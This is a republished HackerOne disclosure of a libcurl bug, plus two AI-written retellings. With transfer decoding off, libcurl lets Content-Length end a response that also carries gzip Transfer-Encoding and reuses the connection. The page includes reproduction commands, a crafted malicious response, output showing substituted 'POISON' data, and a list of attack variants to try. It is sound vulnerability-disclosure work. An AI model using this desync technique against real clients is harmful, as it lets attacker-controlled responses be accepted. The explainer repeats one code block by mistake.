Skip to content
Smuggling / CRLF Disclosed report Advanced

HTTP/1.1 response framing violation and unsafe connection reuse when transfer decoding is disabled

When transfer decoding is disabled, libcurl treated Content-Length as the response boundary even though a non-chunked Transfer-Encoding header was present, so it marked the connection reusable too early. An attacker controlling a response could then have a later response on the same connection interpreted as they choose.

thatcyberguyrich Follow

Originally disclosed on HackerOne

  • Disclosed after 6 days

Summary:

libcurl can incorrectly reuse an HTTP/1.1 connection after a response containing both Content-Length and a non-chunked Transfer-Encoding when transfer decoding is disabled with CURLOPT_HTTP_TRANSFER_DECODING = 0L (--raw behavior). In this state, libcurl can treat Content-Length as the response boundary even though Transfer-Encoding is present and the response should instead be close-delimited when the final transfer coding is not chunked. I can reproduce this deterministically by sending the response headers plus exactly five body bytes, after which libcurl considers the first response complete and sends a second request on the same TCP connection. The attached PoC demonstrates the first response being accepted as HELLO and a subsequent response being accepted as POISON after the unsafe connection reuse. I isolated the regression to commit 403364293005ed54ef6230a214acee43e867995d, with curl 8.0.1 testing negative and curl 8.1.0 testing positive using the same PoC. I also reproduced the behavior against the curl-8_22_0 source tag, so the issue is present in curl 8.22.0.

Affected version

I reproduced the issue against curl/libcurl 8.22.0 built from the curl-8_22_0 source tag:

Text
Tag: curl-8_22_0
Commit: 01346829096c61b372692f6dc43ffa778c6caccd
Platform: macOS ARM64
Build: Debug shared libcurl with AddressSanitizer and UndefinedBehaviorSanitizer

The test executable was verified with otool -L to resolve the locally built libcurl:

Text
@rpath/libcurl-d.4.dylib

rather than macOS /usr/lib/libcurl.4.dylib.

I also performed an A/B test across the apparent release boundary:

Text
curl 8.0.1: not affected by this test
curl 8.1.0: affected
curl 8.22.0: affected

Git history identifies the introducing commit as:

Text
403364293005ed54ef6230a214acee43e867995d
Author: Daniel Stenberg
CommitDate: Fri Apr 7 13:39:20 2023 +0200
Subject: content_encoding: only do tranfer-encoding compression if asked to

curl-8_0_1 is the nearest preceding release and curl-8_1_0 is the first release containing that commit.

Steps To Reproduce:

The attached PoC contains:

Text
poc_server.py
poc_client.c
README.md

The server is intentionally restricted to 127.0.0.1:18081.

1. Build curl/libcurl

Build the curl version to be tested as a shared library. For my 8.22.0 test I used a Debug ASan/UBSan build.

For example:

Shell
SRC="/path/to/curl/source"
BUILD="/path/to/curl/build"

SAN_FLAGS="-O0 -g -fsanitize=address,undefined -fno-omit-frame-pointer"

cmake \
  -S "$SRC" \
  -B "$BUILD" \
  -DCMAKE_BUILD_TYPE=Debug \
  -DBUILD_SHARED_LIBS=ON \
  -DCMAKE_C_FLAGS="$SAN_FLAGS" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined"

cmake --build "$BUILD"

2. Compile the attached client against that build

Shell
LIBCURL=$(find "$BUILD/lib" \
  -maxdepth 1 \
  -type f \
  -name 'libcurl*.dylib' \
  | head -1)

clang \
  -g -O0 \
  -fsanitize=address,undefined \
  -I"$SRC/include" \
  poc_client.c \
  "$LIBCURL" \
  -Wl,-rpath,"$BUILD/lib" \
  -o poc_client

Verify that the intended build is being used:

Shell
otool -L ./poc_client

The test should not be considered valid if this unexpectedly resolves to the macOS system copy of libcurl.

3. Start the attached test server

Shell
python3 poc_server.py

The first response sent by the server is:

HTTP
HTTP/1.1 200 OK
Content-Length: 5
Transfer-Encoding: gzip
Connection: keep-alive

HELLO

Importantly, the server sends exactly the headers plus the five bytes HELLO and then waits.

It does not send the next HTTP response until it observes whether libcurl sends request 2 on the existing TCP connection.

4. Run the attached libcurl client

Shell
export ASAN_OPTIONS="abort_on_error=1:detect_leaks=0:symbolize=1"
export UBSAN_OPTIONS="print_stacktrace=1:halt_on_error=1"

DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client

The client uses:

C
CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_1;
CURLOPT_HTTP_TRANSFER_DECODING = 0L;

and performs two sequential requests using the same easy handle.

5. Observe the affected behavior

Against curl 8.1.0 and curl 8.22.0, the server observes:

Text
===== REQUEST 2 ON SAME CONNECTION =====
GET /two HTTP/1.1
Host: 127.0.0.1:18081
Accept: */*

RESULT: CURL REUSED CONNECTION AFTER NON-CHUNKED TRANSFER-ENCODING RESPONSE

The client output includes:

Text
< HTTP/1.1 200 OK
< Content-Length: 5
< Transfer-Encoding: gzip
< Connection: keep-alive

* Connection #0 to host 127.0.0.1 left intact
* Re-using existing connection #0 with host 127.0.0.1

FIRST rc=0 (No error)
FIRST body=[HELLO]

SECOND rc=0 (No error)
SECOND body=[POISON]

This demonstrates that libcurl considers response 1 complete after the five bytes specified by Content-Length, keeps the connection reusable, and sends request 2 on that same TCP connection.

6. Regression control using curl 8.0.1

Running the identical PoC against curl 8.0.1 produces different behavior.

The server observes:

Text
NO SECOND REQUEST ON CONNECTION 1
Closing connection 1.

CONNECTION 2:
===== REQUEST 2 ON NEW CONNECTION =====
GET /two HTTP/1.1

The client reports:

Text
* Error while processing content unencoding: incorrect header check
* Closing connection 0

FIRST rc=61 (Unrecognized or bad HTTP Content or Transfer-Encoding)
FIRST body=[]

SECOND rc=0 (No error)
SECOND body=[SECOND_OK]

Therefore the first TCP connection is not reused in 8.0.1.

7. Commit-level regression test

I also built and tested the parent and child of the suspected introducing commit.

Before:

Text
403364293005ed54ef6230a214acee43e867995d^

the first connection is not reused.

At:

Text
403364293005ed54ef6230a214acee43e867995d

the first connection is reused and the result is:

Text
FIRST body=[HELLO]
SECOND body=[POISON]

The commit changes lib/http.c from:

C
if(!k->chunk) {

to:

C
if(!k->chunk && data->set.http_transfer_encoding) {

around the code that performs:

C
connclose(conn, "HTTP/1.1 transfer-encoding without chunks");
k->ignore_cl = TRUE;

The same commit also adds an early successful return to the transfer-decoding path in lib/content_encoding.c when transfer decoding was not requested:

C
if(is_transfer && !data->set.http_transfer_encoding)
  /* not requested, ignore */
  return CURLE_OK;

My interpretation is that this couples the HTTP message-framing decision to the application's transfer-decoding preference. When decoding is disabled, the non-chunked Transfer-Encoding is skipped, the connection-close/ignore_cl path is also skipped, and Content-Length remains capable of delimiting the response.

8. Expected behavior

CURLOPT_HTTP_TRANSFER_DECODING should control whether libcurl decodes transfer codings before exposing data to the application; it should not change the HTTP message boundary.

For an applicable HTTP/1.1 response containing:

HTTP
Content-Length: 5
Transfer-Encoding: gzip

Content-Length should not determine the response boundary.

Because the final transfer coding is not chunked, the response is close-delimited and the connection should not be considered reusable after five bytes.

9. Negative control with transfer decoding enabled

The attached client can also be run with:

Shell
DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client --decode

which uses:

C
CURLOPT_HTTP_TRANSFER_DECODING = 1L;

The supplied malformed response does not result in the same unsafe connection reuse on the current code path.

10. Security impact

The demonstrated primitive is HTTP/1.1 response desynchronization / response substitution caused by incorrect response-boundary handling.

The PoC proves that libcurl can send a subsequent HTTP request on a TCP connection that should still be delimited by closure of the previous response.

I have deliberately not claimed cross-origin or cross-trust-boundary exploitation because I have not demonstrated that scenario.

The current PoC therefore establishes the framing error and unsafe connection-reuse primitive, while leaving final security severity and broader exploitability for discussion with the curl security team.

11. AI usage disclosure

I used ChatGPT as an assistant during parts of this research, including helping navigate Git history, organize local reproduction steps, and draft this report.

I manually executed and verified the technical claims contained in this submission against locally checked-out curl source trees and locally built libcurl binaries, including the 8.0.1/8.1.0 release A/B test, commit-level A/B test, dynamic-library linkage, and curl 8.22.0 reproduction.

I am disclosing this AI usage explicitly in accordance with the curl HackerOne program policy.

Again: there is no bug-bounty for curl. We do not offer any rewards, only proper credits.

I understand that the curl program does not offer monetary rewards and I am submitting this report for responsible disclosure and appropriate

Impact

Summary:

The demonstrated impact is an HTTP/1.1 response desynchronization / response-substitution primitive caused by incorrect message-boundary handling.

When CURLOPT_HTTP_TRANSFER_DECODING is disabled, libcurl can treat Content-Length as the end of a response even though a non-chunked Transfer-Encoding is present. This allows libcurl to mark the connection as reusable too early and send a subsequent request on the same TCP connection.

In the attached PoC, libcurl accepts HELLO as response 1, reuses the same connection, and then accepts attacker-controlled POISON as response 2. This demonstrates that an attacker controlling the HTTP response can influence the interpretation of subsequent responses on that connection.

I have not demonstrated cross-origin or cross-trust-boundary exploitation, credential theft, or data disclosure, so I am not claiming those impacts. The confirmed impact is unsafe HTTP response framing and persistent-connection reuse, with potential for response confusion in applications that perform sequential requests over reused HTTP/1.1 connections.

The original report as published on HackerOne, by thatcyberguyrich. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

curl is a command-line tool and libcurl is the library behind it. libcurl speaks HTTP/1.1 and, like any HTTP client, has to decide where one response ends and the next begins. When a connection is kept alive, that boundary decision is what allows the client to safely send another request on the same TCP connection.

HTTP/1.1 offers several ways to delimit a response body. A Content-Length header gives an exact byte count. A Transfer-Encoding: chunked header means the body is chunk-framed and the end is marked by a zero-length chunk. When the final transfer coding is not chunked, the response is close-delimited: the body ends when the server closes the connection, and the connection cannot be reused.

libcurl exposes a related option, CURLOPT_HTTP_TRANSFER_DECODING. It controls whether libcurl decodes transfer codings before handing data to the application. The report argues that this option should only affect decoding, not the HTTP message boundary. The bug is that, with decoding disabled (--raw behaviour), libcurl can let Content-Length delimit a response that also carries a non-chunked Transfer-Encoding, and then reuse the connection.

The affected asset is the curl source repository, and the report was filed on HackerOne by thatcyberguyrich. The platform classifies the weakness as HTTP request smuggling, with medium severity. The curl project does not pay bounties; the report itself notes that the program offers credits only.

Setup

The researcher reproduced the issue against curl/libcurl 8.22.0 built from the curl-8_22_0 source tag:

Text
Tag: curl-8_22_0
Commit: [redacted]
Platform: macOS ARM64
Build: Debug shared libcurl with AddressSanitizer and UndefinedBehaviorSanitizer

The test executable was checked with otool -L to confirm it resolved the locally built library:

Text
@rpath/libcurl-d.4.dylib

rather than the macOS system copy at /usr/lib/libcurl.4.dylib. The report stresses that the test is not valid if the binary unexpectedly links against the system libcurl.

An A/B test across the apparent release boundary gave:

Text
curl 8.0.1: not affected by this test
curl 8.1.0: affected
curl 8.22.0: affected

The proof of concept consists of three files:

Text
poc_server.py
poc_client.c
README.md

The server is intentionally restricted to [redacted]:18081. The client performs two sequential requests using the same easy handle, with HTTP/1.1 forced and transfer decoding disabled.

Finding it

The researcher isolated the regression to a single commit:

Text
[redacted]
Author: Daniel Stenberg
CommitDate: Fri Apr 7 13:39:20 2023 +0200
Subject: content_encoding: only do tranfer-encoding compression if asked to

curl-8_0_1 is the nearest preceding release, and curl-8_1_0 is the first release containing that commit. That matches the A/B result: 8.0.1 behaves correctly, 8.1.0 and 8.22.0 do not.

The behaviour that looked wrong is this: a response carries both Content-Length: 5 and Transfer-Encoding: gzip. Because the final transfer coding is not chunked, the response should be close-delimited, and the connection should not be reusable after five bytes. Instead, with transfer decoding disabled, libcurl treats the five bytes as the complete response, keeps the connection alive, and sends the second request on it.

Exploitation

Step 1: build curl/libcurl

Build the version under test as a shared library. The researcher used a Debug ASan/UBSan build for 8.22.0:

Shell
SRC="/path/to/curl/source"
BUILD="/path/to/curl/build"

SAN_FLAGS="-O0 -g -fsanitize=address,undefined -fno-omit-frame-pointer"

cmake \
  -S "$SRC" \
  -B "$BUILD" \
  -DCMAKE_BUILD_TYPE=Debug \
  -DBUILD_SHARED_LIBS=ON \
  -DCMAKE_C_FLAGS="$SAN_FLAGS" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined"

cmake --build "$BUILD"

This produces a shared libcurl with the sanitizers enabled, which is what the client will link against.

Step 2: compile the client against that build

Shell
LIBCURL=$(find "$BUILD/lib" \
  -maxdepth 1 \
  -type f \
  -name 'libcurl*.dylib' \
  | head -1)

clang \
  -g -O0 \
  -fsanitize=address,undefined \
  -I"$SRC/include" \
  poc_client.c \
  "$LIBCURL" \
  -Wl,-rpath,"$BUILD/lib" \
  -o poc_client

The find picks the freshly built dylib, and the rpath makes the binary load it at runtime. Verify the linkage:

Shell
otool -L ./poc_client

If this resolves to the macOS system libcurl, the test is invalid.

Step 3: start the test server

Shell
python3 poc_server.py

The first response the server sends is:

HTTP
HTTP/1.1 200 OK
Content-Length: 5
Transfer-Encoding: gzip
Connection: keep-alive

HELLO

The server sends exactly the headers plus the five bytes HELLO, then waits. It does not send the next HTTP response until it observes whether libcurl sends request 2 on the existing TCP connection. The server sends nothing further until it sees whether libcurl sends request 2 on the existing connection.

Step 4: run the client

Shell
export ASAN_OPTIONS="abort_on_error=1:detect_leaks=0:symbolize=1"
export UBSAN_OPTIONS="print_stacktrace=1:halt_on_error=1"

DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client

The client sets:

C
CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_1;
CURLOPT_HTTP_TRANSFER_DECODING = 0L;

and performs two sequential requests on the same easy handle. Disabling transfer decoding is the precondition for the bug.

Step 5: observe the affected behaviour

Against curl 8.1.0 and 8.22.0, the server observes:

Text
===== REQUEST 2 ON SAME CONNECTION =====
GET /two HTTP/1.1
Host: [redacted]:18081
Accept: */*

RESULT: CURL REUSED CONNECTION AFTER NON-CHUNKED TRANSFER-ENCODING RESPONSE

The client output includes:

Text
< HTTP/1.1 200 OK
< Content-Length: 5
< Transfer-Encoding: gzip
< Connection: keep-alive

* Connection #0 to host [redacted] left intact
* Re-using existing connection #0 with host [redacted]

FIRST rc=0 (No error)
FIRST body=[HELLO]

SECOND rc=0 (No error)
SECOND body=[POISON]

libcurl considers response 1 complete after the five bytes specified by Content-Length, keeps the connection reusable, and sends request 2 on the same TCP connection. The second response is accepted as POISON.

Step 6: regression control with curl 8.0.1

The identical PoC against curl 8.0.1 behaves differently. The server observes:

Text
NO SECOND REQUEST ON CONNECTION 1
Closing connection 1.

CONNECTION 2:
===== REQUEST 2 ON NEW CONNECTION =====
GET /two HTTP/1.1

The client reports:

Text
* Error while processing content unencoding: incorrect header check
* Closing connection 0

FIRST rc=61 (Unrecognized or bad HTTP Content or Transfer-Encoding)
FIRST body=[]

SECOND rc=0 (No error)
SECOND body=[SECOND_OK]

In 8.0.1 the first TCP connection is not reused. The first request fails with error 61, and the second request goes out on a new connection.

Step 7: commit-level regression test

The researcher also built and tested the parent and child of the suspected commit. Before:

Text
[redacted]^

the first connection is not reused. At:

Text
[redacted]

the first connection is reused and the result is:

Text
FIRST body=[HELLO]
SECOND body=[POISON]

The parent commit does not reuse the connection; the commit itself does.

Step 8: negative control with transfer decoding enabled

The client can also be run with:

Shell
DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client --decode

which uses:

C
CURLOPT_HTTP_TRANSFER_DECODING = 1L;

The supplied malformed response does not result in the same unsafe connection reuse on the current code path. So the bug requires decoding to be disabled.

Root cause

The commit changes lib/http.c from:

C
if(!k->chunk) {

to:

C
if(!k->chunk && data->set.http_transfer_encoding) {

around the code that performs:

C
connclose(conn, "HTTP/1.1 transfer-encoding without chunks");
k->ignore_cl = TRUE;

The same commit adds an early successful return to the transfer-decoding path in lib/content_encoding.c when transfer decoding was not requested:

C
if(is_transfer && !data->set.http_transfer_encoding)
  /* not requested, ignore */
  return CURLE_OK;

The researcher's interpretation is that this couples the HTTP message-framing decision to the application's transfer-decoding preference. When decoding is disabled, the non-chunked Transfer-Encoding is skipped, the connection-close and ignore_cl path is also skipped, and Content-Length remains capable of delimiting the response.

In other words, the guard that would have closed the connection and ignored Content-Length for a non-chunked transfer coding is now conditional on the application asking for transfer decoding. An application that asks for raw bytes, which is exactly what --raw does, loses the framing protection along with the decoding.

Impact

The demonstrated primitive is HTTP/1.1 response desynchronisation, or response substitution, caused by incorrect response-boundary handling. The PoC proves that libcurl can send a subsequent HTTP request on a TCP connection that should still be delimited by closure of the previous response. In the PoC, libcurl accepts HELLO as response 1, reuses the connection, and then accepts attacker-controlled POISON as response 2. An attacker who controls the HTTP response can therefore influence how subsequent responses on that connection are interpreted.

The researcher deliberately does not claim cross-origin or cross-trust-boundary exploitation, credential theft, or data disclosure, because none of those were demonstrated. The confirmed impact is unsafe HTTP response framing and persistent-connection reuse, with potential for response confusion in applications that perform sequential requests over reused HTTP/1.1 connections. Final severity and broader exploitability were left for discussion with the curl security team.

The report also includes an AI usage disclosure: ChatGPT was used as an assistant for navigating Git history, organising local reproduction steps, and drafting the report. The researcher states that all technical claims were manually executed and verified against locally checked-out source trees and locally built libcurl binaries, including the release A/B test, the commit-level A/B test, the dynamic-library linkage check, and the 8.22.0 reproduction.

Fix

The report does not describe a fix or a patch. What it argues should happen is that CURLOPT_HTTP_TRANSFER_DECODING should control only whether libcurl decodes transfer codings before exposing data to the application, and should not change the HTTP message boundary. For an applicable HTTP/1.1 response containing:

HTTP
Content-Length: 5
Transfer-Encoding: gzip

Content-Length should not determine the response boundary. Because the final transfer coding is not chunked, the response is close-delimited and the connection should not be considered reusable after five bytes.

  1. Other non-chunked transfer codings. The PoC uses Transfer-Encoding: gzip. Try deflate, compress, or a made-up coding alongside a Content-Length. A positive result is the client accepting the Content-Length bytes as a complete response and sending the next request on the same connection.
  2. Chained codings ending in something other than chunked, such as Transfer-Encoding: gzip, deflate. A positive result is the same premature completion and reuse.
  3. Transfer-Encoding: chunked with a conflicting Content-Length. This is the classic smuggling shape; a positive result would be the client preferring one header over the other in a way that lets the server and client disagree on the boundary.
  4. Raw mode through the command-line tool. Run curl with --raw against a server that sends the PoC response. A positive result is curl printing HELLO and then issuing the second request on the same connection, visible in the server log.
  5. Applications that reuse easy handles or connection pools for sequential requests. A positive result is the second response being taken from bytes the attacker controls, as with POISON here.
  6. Other libcurl versions between 8.0.1 and 8.1.0, and later releases, to map which builds carry the regression. A positive result is reuse after a non-chunked transfer coding with decoding disabled.
  7. The same response with decoding enabled, as a negative control. A positive result here would mean the bug is broader than the decoding-disabled path.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

A security researcher found a bug in curl, a very widely used piece of software. curl is a program that fetches things from the internet for you, and libcurl is the engine inside it that other programs can borrow to do the same job. When you download a file, call a web service, or a program on your computer quietly talks to a server, there is a good chance libcurl is doing the talking.

To understand the bug you need one idea: when a computer talks to a web server, it needs to know exactly where one answer ends and the next begins. Think of a phone call where two people speak in turn. If you cannot tell when the other person has finished a sentence, you will start talking over them, and everything after that is confusion. Web traffic has the same problem, and HTTP (the language browsers and servers speak) has rules for marking the end of a message.

The bug is that libcurl, in one particular configuration, decided a message had ended too early. It then reused the same connection to send a second request, even though the first answer was not really finished. The researcher showed that libcurl accepted attacker-controlled bytes as the answer to the second request. The platform classifies this as HTTP request smuggling, with medium severity. The curl project does not pay money for reports; it gives credit only.

This article walks through the report step by step, explaining every term as it appears. You do not need to know how to program to follow it.

The background you need first

What HTTP is

HTTP (HyperText Transfer Protocol) is the set of rules a browser and a website use to exchange information. Your browser sends a request ("please give me this page") and the server sends back a response ("here it is"). Every time you load a page, dozens or hundreds of these request and response pairs happen.

What a header is

A request or response is made of two parts: headers and a body. Headers are small labelled lines of extra information, like the label on a parcel. The body is the actual content, like the parcel's contents. A header looks like Content-Length: 5, which means "the name of this label is Content-Length and its value is 5".

What Content-Length means

Content-Length is a header that says exactly how many bytes (characters) long the body is. If a response says Content-Length: 5, the client knows the body is five bytes and can stop reading after five. This is like a parcel label saying "this box weighs 2 kg": you know when you have the whole thing.

What Transfer-Encoding means

Transfer-Encoding is a header that says the body has been packaged in a special way while travelling. The most common value is chunked, which means the body is split into labelled pieces (chunks) and the end is marked by a zero-length chunk. Another value is gzip, a compression format. When the last packaging method listed is not chunked, there is no marker inside the body saying "this is the end". The only way to know the body is finished is when the server closes the connection. The report calls this close-delimited.

What a TCP connection is

A TCP connection is the actual network link between your computer and a server. Opening one takes time, so HTTP/1.1 (version 1.1 of the protocol) lets both sides keep the connection open and send several requests and responses over it, one after another. This is called a persistent connection or keep-alive. It is like keeping a phone line open instead of hanging up and redialling for every sentence.

Keeping a connection open is only safe if both sides agree exactly where each message ends. If the client thinks a message ended but the server is still sending, the leftover bytes get read as the start of the next answer. That mismatch is the heart of this bug.

What CURLOPT_HTTP_TRANSFER_DECODING is

libcurl has a setting called CURLOPT_HTTP_TRANSFER_DECODING. It controls whether libcurl unpacks transfer packaging (such as gzip compression applied for transport) before handing the data to the program using it. When it is turned off, the program gets the raw bytes exactly as they arrived. The curl command-line tool exposes this as the --raw option.

The report's argument is simple: this setting should only affect whether data is unpacked. It should never affect where libcurl thinks a message ends. Those are two different jobs, and mixing them up is what causes the bug.

What the affected software is

The affected asset is the curl source code repository at https://github.com/curl/curl. The report was filed on HackerOne, a website where security researchers report bugs to companies. The researcher's handle is thatcyberguyrich. The weakness is classified as HTTP request smuggling, with medium severity.

Setting up the test

The researcher reproduced the problem on curl/libcurl version 8.22.0, built from a particular point in the project's history:

Text
Tag: curl-8_22_0
Commit: [redacted]
Platform: macOS ARM64
Build: Debug shared libcurl with AddressSanitizer and UndefinedBehaviorSanitizer

Line by line:

  • Tag: curl-8_22_0 is a label the curl project puts on a specific released version, like a version number on a jar.
  • Commit: [redacted] is a commit: a unique fingerprint for one saved change in the project's history. Every saved change gets one, so people can point to exactly which code they mean.
  • Platform: macOS ARM64 means the test ran on an Apple Mac computer with Apple's ARM processor.
  • Build: Debug shared libcurl with AddressSanitizer and UndefinedBehaviorSanitizer describes how the software was compiled. A shared library is a reusable block of code that other programs load at runtime, like a shared toolbox. AddressSanitizer and UndefinedBehaviorSanitizer are debugging tools that watch a program run and shout if it does something memory-unsafe or undefined. A Debug build includes extra checking information.

The researcher then checked, with a tool called otool -L, that the test program was really using the freshly built library:

Text
@rpath/libcurl-d.4.dylib

otool -L lists which shared libraries a program on macOS will load. The output shows the program points at the locally built copy (@rpath/libcurl-d.4.dylib) rather than the copy that ships with macOS at /usr/lib/libcurl.4.dylib. This matters because if the test accidentally used Apple's built-in copy, it would be testing the wrong software and any result would be meaningless.

An A/B test means running the same experiment on two versions and comparing. Across the release boundary the researcher got:

Text
curl 8.0.1: not affected by this test
curl 8.1.0: affected
curl 8.22.0: affected

In plain words: version 8.0.1 behaved correctly, and versions 8.1.0 and 8.22.0 showed the bug. That narrows down when the problem appeared.

The proof of concept (PoC) is the set of files that demonstrate the bug. It contains three files:

Text
poc_server.py
poc_client.c
README.md
  • poc_server.py is a small fake web server written in Python.
  • poc_client.c is a small program written in C that uses libcurl to make requests.
  • README.md is a text file with instructions.

The server is deliberately limited to [redacted]:18081. [redacted] is the special address meaning "this same computer", so the fake server only listens locally and cannot be reached from the internet. 18081 is the port, a numbered door on the computer that the server listens at. The client makes two requests in a row using the same libcurl handle (a handle is the object that holds a connection and its settings), with HTTP/1.1 forced and transfer decoding turned off.

Finding the cause

The researcher traced the change to one specific commit:

Text
[redacted]
Author: Daniel Stenberg
CommitDate: Fri Apr 7 13:39:20 2023 +0200
Subject: content_encoding: only do tranfer-encoding compression if asked to
  • The long string is the commit's unique fingerprint.
  • Author: Daniel Stenberg is the person who made the change. Daniel Stenberg is the author of the change.
  • CommitDate is when the change was saved.
  • Subject is the short description of the change: "content_encoding: only do transfer-encoding compression if asked to". (The word "transfer" is misspelled in the original subject line.)

curl-8_0_1 is the release just before this commit, and curl-8_1_0 is the first release that contains it. That matches the A/B result exactly: 8.0.1 is fine, 8.1.0 and 8.22.0 are not.

The wrong behaviour is this. A response arrives carrying both Content-Length: 5 and Transfer-Encoding: gzip. Because the last packaging method is not chunked, the response should be close-delimited: the body ends only when the server closes the connection, and the connection must not be reused after five bytes. Instead, with transfer decoding disabled, libcurl treats those five bytes as the whole response, keeps the connection alive, and sends the second request down it.

Reproducing it, step by step

Step 1: build curl/libcurl

The first step is to compile the version under test as a shared library. Compiling means turning human-written source code into a program the computer can run. The researcher used a Debug build with the two sanitizers for 8.22.0:

Shell
SRC="/path/to/curl/source"
BUILD="/path/to/curl/build"

SAN_FLAGS="-O0 -g -fsanitize=address,undefined -fno-omit-frame-pointer"

cmake \
  -S "$SRC" \
  -B "$BUILD" \
  -DCMAKE_BUILD_TYPE=Debug \
  -DBUILD_SHARED_LIBS=ON \
  -DCMAKE_C_FLAGS="$SAN_FLAGS" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined"

cmake --build "$BUILD"

Line by line:

  • SRC="/path/to/curl/source" stores the folder holding the curl source code in a variable called SRC. A variable is a named box that holds a value so you can reuse it.
  • BUILD="/path/to/curl/build" stores the folder where the compiled output will go.
  • SAN_FLAGS=... stores compiler options. -O0 means "do not optimise", which keeps the code easy to follow while debugging. -g includes debugging information. -fsanitize=address,undefined switches on the two sanitizers. -fno-omit-frame-pointer keeps extra bookkeeping that makes error reports easier to read.
  • cmake \ starts CMake, a tool that prepares a build. The backslash at the end means the command continues on the next line.
  • -S "$SRC" tells CMake where the source is.
  • -B "$BUILD" tells CMake where to put the build.
  • -DCMAKE_BUILD_TYPE=Debug asks for a Debug build.
  • -DBUILD_SHARED_LIBS=ON asks for a shared library rather than a self-contained program.
  • The three -DCMAKE_..._FLAGS lines pass the sanitizer options to the compiler and the linker (the linker is the tool that joins compiled pieces into a final program).
  • cmake --build "$BUILD" actually runs the build.

The result is a shared libcurl with the sanitizers enabled, which the test client will load.

Step 2: compile the client against that build

Next, compile the small test program so it uses the library just built:

Shell
LIBCURL=$(find "$BUILD/lib" \
  -maxdepth 1 \
  -type f \
  -name 'libcurl*.dylib' \
  | head -1)

clang \
  -g -O0 \
  -fsanitize=address,undefined \
  -I"$SRC/include" \
  poc_client.c \
  "$LIBCURL" \
  -Wl,-rpath,"$BUILD/lib" \
  -o poc_client

Line by line:

  • LIBCURL=$(find ...) runs the find command and stores its result. find searches a folder for files matching a pattern.
  • -maxdepth 1 means look only in that folder, not in subfolders.
  • -type f means look for ordinary files.
  • -name 'libcurl*.dylib' means match files whose names start with libcurl and end with .dylib. A .dylib is a shared library on macOS.
  • | head -1 takes the first match. The vertical bar sends the output of one command into another, and head -1 keeps only the first line.
  • clang \ starts the C compiler, called clang.
  • -g -O0 keeps debugging information and disables optimisation.
  • -fsanitize=address,undefined turns on the sanitizers in the test program too.
  • -I"$SRC/include" tells the compiler where to find header files (files that describe what functions exist).
  • poc_client.c is the source file being compiled.
  • "$LIBCURL" is the library to link against.
  • -Wl,-rpath,"$BUILD/lib" records a runtime search path inside the program, so when it runs it looks in the build folder for the library. This is what makes it load the freshly built copy instead of the system one.
  • -o poc_client names the output program poc_client.

Then verify the linkage:

Shell
LIBCURL=$(find "$BUILD/lib" \
  -maxdepth 1 \
  -type f \
  -name 'libcurl*.dylib' \
  | head -1)

clang \
  -g -O0 \
  -fsanitize=address,undefined \
  -I"$SRC/include" \
  poc_client.c \
  "$LIBCURL" \
  -Wl,-rpath,"$BUILD/lib" \
  -o poc_client

Then verify the linkage:

Shell
otool -L ./poc_client

otool -L lists the shared libraries the program will load. If the output points at the macOS system libcurl, the test is invalid, because you would be testing Apple's copy rather than the one you built.

Step 3: start the test server

Shell
python3 poc_server.py

This runs the fake server with Python 3. The first response it sends is:

HTTP
HTTP/1.1 200 OK
Content-Length: 5
Transfer-Encoding: gzip
Connection: keep-alive

HELLO

Line by line:

  • HTTP/1.1 200 OK is the status line. HTTP/1.1 is the protocol version, and 200 OK means the request succeeded.
  • Content-Length: 5 says the body is five bytes long.
  • Transfer-Encoding: gzip says the body was compressed with gzip for transport. Because the last packaging method is not chunked, the body has no internal end marker.
  • Connection: keep-alive tells the client it may keep the connection open for more requests.
  • The blank line separates headers from body.
  • HELLO is the five-byte body.

The server sends exactly those headers plus the five bytes HELLO, then waits. It does not send the next response until it sees whether libcurl sends request 2 on the existing connection. That waiting is what makes the test reliable: the server's next move depends on what the client decided about the message boundary.

Step 4: run the client

Shell
export ASAN_OPTIONS="abort_on_error=1:detect_leaks=0:symbolize=1"
export UBSAN_OPTIONS="print_stacktrace=1:halt_on_error=1"

DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client

Line by line:

  • export ASAN_OPTIONS=... sets options for AddressSanitizer. abort_on_error=1 stops immediately on an error, detect_leaks=0 turns off memory-leak checking (not relevant here), and symbolize=1 makes error reports show readable function names.
  • export UBSAN_OPTIONS=... sets options for UndefinedBehaviorSanitizer. print_stacktrace=1 prints the chain of function calls leading to a problem, and halt_on_error=1 stops at the first problem.
  • DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client runs the test program while telling macOS to look in the build folder first for shared libraries. DYLD_LIBRARY_PATH is the macOS setting for that search path.

The client sets two options:

C
CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_1;
CURLOPT_HTTP_TRANSFER_DECODING = 0L;

Line by line:

  • CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_1; forces HTTP/1.1, the version that supports persistent connections. This keeps the connection-reuse behaviour in play.
  • CURLOPT_HTTP_TRANSFER_DECODING = 0L; turns transfer decoding off, which is the same as --raw. The 0L means "off" (zero, as a long integer). This is the precondition for the bug.

The client then makes two requests in a row on the same handle.

Step 5: see the bug happen

Against curl 8.1.0 and 8.22.0, the server sees:

Text
===== REQUEST 2 ON SAME CONNECTION =====
GET /two HTTP/1.1
Host: [redacted]:18081
Accept: */*

RESULT: CURL REUSED CONNECTION AFTER NON-CHUNKED TRANSFER-ENCODING RESPONSE

Line by line:

  • ===== REQUEST 2 ON SAME CONNECTION ===== is the server's own log line saying the second request arrived on the same connection as the first.
  • GET /two HTTP/1.1 is the second request. GET is the method meaning "fetch this"; /two is the path being requested; HTTP/1.1 is the protocol version.
